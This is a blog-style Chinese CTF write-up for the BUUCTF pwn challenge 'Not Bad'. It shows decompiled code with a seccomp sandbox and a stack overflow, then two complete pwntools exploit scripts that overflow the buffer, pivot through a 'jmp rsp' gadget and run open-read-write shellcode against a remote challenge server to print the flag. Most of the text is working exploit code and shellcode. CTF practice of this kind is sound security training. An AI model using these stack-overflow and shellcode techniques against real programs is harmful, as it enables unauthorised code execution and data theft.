BUUCTF [极客大挑战 2019]Not Bad

总的来说这是一个64位orw的题

 

开头先在主函数里分配了一个很大的空间

1 __int64 __fastcall main(int a1, char **a2, char **a3)
2 {
3   mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
4   sub_400949();
5   sub_400906();
6   sub_400A16();
7   return 0LL;
8 }
 1 __int64 sub_400949()
 2 {
 3   __int64 v1; // [rsp+8h] [rbp-8h]
 4 
 5   v1 = seccomp_init(0LL);
 6   seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
 7   seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
 8   seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
 9   seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
10   return seccomp_load(v1);
11 }

这里开了沙盒看一下只给了open,read,write,exit很明显是一个orw的题

漏洞函数:

1 int sub_400A16()
2 {
3   char buf[32]; // [rsp+0h] [rbp-20h] BYREF
4 
5   puts("Easy shellcode, have fun!");
6   read(0, buf, 0x38uLL);
7   return puts("Baddd! Focu5 me! Baddd! Baddd!");
8 }

 溢出字节较少可以考虑用栈迁移,但是看了其他师傅的wp后发现了一种新的解题方法,即利用 jmp rsp这条指令。我们把这条指令的地址放到返回地址上,接下来就可以利用汇编来控制 rsp的位置了。

大多数师傅都是用 shellcraft 来自动化构造的,但是我认为有手搓 shellcode 的能力也很重要。

附上用 shellcraft 构造的exp:

from pwn import *
context.arch='amd64'
context.log_level='debug'

s=remote('node4.buuoj.cn',26979)
#s=process('./bad')

mmap=0x123000
jmp_rsp=0x400a01

orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
orw_payload += shellcraft.write(1, mmap+0x100,0x50)

payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
s.sendline(payload)

s.send(asm(orw_payload))

s.interactive()

手搓 shellcode 的exp:

 1 from pwn import *
 2 context.arch='amd64'
 3 context.log_level='debug'
 4 
 5 s=remote('node4.buuoj.cn',26979)
 6 #s=process('./bad')
 7 
 8 jmp_rsp=0x400a01
 9 shellcode1='''
10     xor rdi, rdi
11     mov rsi, 0x123000
12     mov rdx, 0x100
13     mov rax, 0
14     syscall
15     mov rax, 0x123000
16     call rax
17 '''
18 
19 shellcode2='''
20     mov rdi, 0x67616c662f2e  //这个是.\flag由于小端序存储的倒着写的 gafl\.的16进制表示。
21     push rdi
22     mov rdi, rsp
23     mov rsi, 0
24     mov rdx, 0
25     mov rax, 2
26     syscall
27     mov rdi, 3
28     mov rsi, rsp
29     mov rdx, 0x100
30     mov rax, 0
31     syscall
32     mov rdi, 1
33     mov rsi, rsp
34     mov edx, 0x100
35     mov rax, 1
36     syscall
37 '''
38 payload=asm(shellcode1)
39 payload=payload.ljust(0x28,b'\x00')
40 payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
41 s.sendline(payload)
42 
43 s.send(asm(shellcode2))
44 
45 s.interactive()

 

posted @ 2021-12-29 19:47  狒猩橙  阅读(294)  评论(1编辑  收藏  举报